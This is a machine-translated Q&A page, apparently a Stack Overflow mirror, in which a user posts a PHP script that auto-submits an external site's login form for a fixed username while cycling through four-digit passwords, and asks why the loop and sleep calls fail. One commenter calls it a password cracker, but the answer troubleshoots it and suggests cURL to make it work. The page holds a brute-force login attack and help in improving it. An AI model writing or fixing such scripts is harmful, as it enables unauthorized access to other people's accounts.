2012-05-27 5 views
-2

У меня есть 2 проблемы. Heres мой сценарий .....В PHP - sleep(); & ты спишь(); не работает должным образом. Кроме того, возникают проблемы с входом в петлю

<?php 

    echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">"; 
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">"; 
echo "<head>"; 
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />"; 
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />"; 
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />"; 
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />"; 
echo "<title>Etudes</title>"; 
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>"; 
echo "</head>"; 
echo "<body>"; 

echo "<script type=\"text/javascript\" language=\"JavaScript\">"; 
echo "focus_path = [\"eid\"];"; 
echo "</script>"; 

echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">"; 
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";   
echo "<label for=\"eid\">User id</label>";          
echo "<input name=\"eid\" id=\"eid\" type=\"text\" value=\"USERNAME\"/>";          
echo "<label for=\"pw\">Password</label>"; 

$pass1 = "0"; 
$pass2 = "0"; 
$pass3 = "0"; 
$pass4 = "0"; 

set_time_limit(0); 

for($i = 0; $i < 2; $i++) 
{ 
$pass = $pass1.$pass2.$pass3.$pass4; 

echo "$pass"; 

echo "<input name=\"pw\" id=\"pw\" type=\"password\" value=\"$pass\"/>"; 

echo "<script language=\"Javascript\" type=\"text/javascript\">"; 

echo "document.forms[\"form\"].submit();"; 

echo "</script>"; 

    $pass4 = $pass4 + 1; 

if($pass4 == 10) 
{ 
    $pass3 = $pass3 + 1; 
    $pass4 = 0; 
} 
if($pass3 == 10) 
{ 
    $pass2 = $pass2 + 1; 
    $pass3 = 0; 
} 
if($pass2 == 10) 
{ 
    $pass1 = $pass1 + 1; 
    $pass2 = 0; 
} 
if($pass1 == 10) 
{ 
    echo "Fail"; 
    break; 
} 
    usleep(10000000); 
    flush(); 
    ob_flush; 
} 

?>      
</table>       
</form>     

</table> 

</body> 
</html> 

////////////////////////////////// ///////////////////////////////

Проблема 1) Я пробовал usleep() и sleep(), он работал несколько раз сначала, выполнил файл , затем отложил время, затем выполнил, затем задерживал, ect. Но после третьего раза это не сработало.

Задача 2) Если я войти в «www.xxx.com» без цикла, она работает просто отлично, но когда я положил его в петлю, например (Допустим, пароль 0002): Логин: USERNAME Пароль: 0000

Неверный вход!

Логин: USERNAME Пароль: 0001

Invalid Войти!

Логин: USERNAME Пароль: 0002

Invalid Войти!

..Пожалуйста, введите неверный логин! Любая помощь будет принята с благодарностью :) Спасибо.

+0

Разве вы не спросили об этом, а затем удалили его? – Ryan

+0

"Вид", ужасное редактирование lol. –

+0

Это неправдоподобный способ написать взломщик паролей. Нет, мы не сможем вам написать. – duskwuff

ответ

1

Проблема 1) Я думаю, что вы достигаете максимального времени выполнения, настраиваемого предела, который PHP накладывает на скрипты. PHP-скрипты обычно не долговечны. Они позволяют быстро выполнять один просмотр страницы, один сценарий, так как мера безопасности (предотвращение атак типа «отказ в обслуживании»), сценарии, которые живут дольше, чем, скажем, 60 секунд, просто прерываются. Проверьте значение php.ini для этого значения конфигурации.

Задача 2) Вы прокомментировали «отправить» часть своего скрипта и проверили вывод? Я думаю, что ваша программа печатает начало формы только один раз, а затем попытается распечатать оставшуюся часть 9999 раз. Кроме того, он будет работать только в первый раз, потому что, если вы отправляете форму, браузер просто покинет вашу страницу (и ваш скрипт), и она не сможет отправить второй раз.

Вы должны использовать CURL для получения ответа от внешнего сайта.